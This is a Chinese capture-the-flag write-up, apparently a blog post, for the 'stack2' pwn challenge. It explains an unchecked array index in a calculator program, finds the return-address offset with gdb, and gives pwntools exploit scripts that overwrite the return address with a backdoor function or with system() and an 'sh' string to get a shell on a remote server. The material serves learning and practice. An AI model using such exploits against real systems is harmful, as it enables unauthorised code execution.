攻防世界高手进阶区——stack2

攻防世界高手进阶区——stack2

在这里插入图片描述

看题目啥都没有

一,分析文件

  1. checksec
    在这里插入图片描述

    发现居然存在栈溢出保护,这是以前做题没看到过的,可能会有新的知识点。

  2. 运行文件
    在这里插入图片描述

    貌似是一个输入数字计算平均值的程序。

  3. ida打开

      unsigned int m; // [esp+34h] [ebp-74h]
      char v13[100]; // [esp+38h] [ebp-70h]
      unsigned int v14; // [esp+9Ch] [ebp-Ch]
    
      v14 = __readgsdword(0x14u);
      setvbuf(stdin, 0, 2, 0);
      setvbuf(stdout, 0, 2, 0);
      v9 = 0;
      puts("***********************************************************");
      puts("*                      An easy calc                       *");
      puts("*Give me your numbers and I will return to you an average *");
      puts("*(0 <= x < 256)                                           *");
      puts("***********************************************************");
      puts("How many numbers you have:");           // 有几个数字
      scanf("%d", &v5);
      puts("Give me your numbers");                 // 输入一个数字
      for ( i = 0; i < v5 && (int)i <= 99; ++i )
      {
        scanf("%d", &v7);
        v13[i] = v7;
      }
      for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");// 选择
              scanf("%d", &v6);                     // 输入选择
              if ( v6 != 2 )
                break;
              puts("Give me your number");          // 加数字
              scanf("%d", &v7);
              if ( j <= 99 )
              {
                v3 = j++;
                v13[v3] = v7;
              }
            }
            if ( v6 > 2 )
              break;
            if ( v6 != 1 )
              return 0;
            puts("id\t\tnumber");
            for ( k = 0; k < j; ++k )
              printf("%d\t\t%d\n", k, v13[k]);
          }
          if ( v6 != 3 )
            break;
          puts("which number to change:");          // 修改数字,存在漏洞!!!没有检查索引值的值,没有检查数组边界,可以输入返回地址的相对于数组首地址的偏移
          scanf("%d", &v5);
          puts("new number:");                      // 返回地址修改为system函数地址,和bash地址
          scanf("%d", &v7);
          v13[v5] = v7;
        }
        if ( v6 != 4 )
          break;
        v9 = 0;
        for ( m = 0; m < j; ++m )
          v9 += v13[m];
      }
      return 0;
    }
    

    这里分析了一下文件,刚开始啥都没看出来,后来是看了网上的其他大佬的wp才知道这个漏洞(未检查数组边界,造成任意地址修改,这就是绕过栈溢出保护的方法吗?)

二,解题思路

在这里插入图片描述

  • 解题的关键就是这里,这里未检查数组的索引值,可以让我们修改任意地址的内容。我们可以直接修改函数返回地址的内容。

  • 现在就只需要找到相对于该数组函数返回地址的偏移就可以了。

    这里我觉得是最难的一步,看了好几个wp才明白了这是怎么回事。

  • 这里按照以往的惯例去ida直接找返回地址相对于数组的偏移算出来是有问题的。

在这里插入图片描述

在这里插入图片描述

这里面我算出来的偏移量为0x74,但是根据其他大佬通过动态调试算出来的偏移,这里的偏移应该是0x84。

这是怎么回事呢?

0x84要经过自己去动态调试

过程如下:

  • 分析汇编代码

在这里插入图片描述

这段汇编代码其实就是对应下面这段C语言代码

在这里插入图片描述

这里也可以进一步看出来汇编的复杂。

分析一下汇编代码,这里面通过scanf将获取的值放入栈区,再将该数放入eax寄存器中,再将eax的值放入ecx寄存器,再取一个栈区的地址给edx,将一个值给eax(分析上面的汇编可以知道,这里放入eax的值就是数组的索引值),再将地址加给eax寄存器,最后将cl(ecx寄存器的低八位)的值赋给eax指向的地址。

通过这里的分析可以知道这时候eax里面存的地址便是数组起始地址。

在这里插入图片描述

通过这里的main endp可以知道这是main函数的结束地方,就可以得出,这里的retn时esp指向的地址便是返回地址。
在这里插入图片描述

在main函数和输入数组和返回retn指令的地方下断点。

在这里插入图片描述

输入全填一

在这里插入图片描述

run一下,指令执行前这里是0xd0,

在这里插入图片描述

指令执行后,这里是0x1,所以这里的oxffffd378就是数组起始地址,这里的0xf7ffd901什么都不代表,只是刚好数组起始地址里面存的是这个地址罢了。我就是在这里疑惑了半天,都是因为gdb不太熟练呀。菜鸡一枚。

在这里插入图片描述

运行到ret,esp里面存的就是返回地址。

所以偏移量是0xffffd3fc - oxffffd378 = 0x84

至于这里面为什么不是ida得到的数,是因为最后leave 和lea指令调整了栈帧,将栈底恢复到了之前的位置。栈底就变化了,偏移量自然就变化了

偏移量在这里就能得到了。

  • 而且程序中存在后门函数hackhere

在这里插入图片描述

通过后门函数可以直接获得shell。

三,exp

from pwn import *
 
process_name = './stack2'
p = process('./stack2')
 
 
hackhere = [0x9b, 0x85, 0x04, 0x08]  #0x0804859B
write_offset = 0x84
 
def change_number(offset, value):
        p.sendlineafter('5. exit', '3')
        p.sendlineafter('which number to change:', str(offset))
        p.sendlineafter('new number:', str(value))
 
p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
        change_number(write_offset+i, hackhere[i])
 
p.sendlineafter('5. exit', '5')
 
 
p.interactive()

拿着这个exp去本地运行,发现能够运行成功,但是运行在服务器就出现了问题。

在这里插入图片描述

报错,发现服务器没有bash终端,只有sh。(后来才知道原来这里本来是出题人的失误,发现也能做出来就没有改。)

  • 于是我们得改变思路,发现程序有system函数,也可以找到sh字符串。
  • 就可以通过sh和system来构造exp
from pwn import *
 
process_name = './stack2'
p = process('./stack2')
p = remote('111.200.241.244',60740)
 
 
hackhere = [0x9b, 0x85, 0x04, 0x08]  #0x0804859B
write_offset = 0x84
system_addr = [0x50, 0x84, 0x04, 0x08] # 0x08048450
sh_addr = [0x87, 0x99, 0x04, 0x08]  # 0x08048987
 
def change_number(offset, value):
        p.sendlineafter('5. exit', '3')
        p.sendlineafter('which number to change:', str(offset))
        p.sendlineafter('new number:', str(value))
 
p.sendlineafter('How many numbers you have:', '1')
p.sendlineafter('Give me your numbers', '1')
for i in range(4):
        change_number(write_offset+i, system_addr[i])
 
write_offset += 8
for i in range(4):
        change_number(write_offset+i, sh_addr[i])
 
 
p.sendlineafter('5. exit', '5')
 
 
p.interactive()

这样就可以通过服务器了。

四,收获

  • 学会了一个新的漏洞(绕过栈溢出保护)。
  • 对python的编程了解了更多。
  • 学会了gdb的使用。
  • 学会了基础汇编语言。

总的来说,这次做题收获还是很大的。虽然难了我好几天。但是收获慢慢就不亏。哈哈哈

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值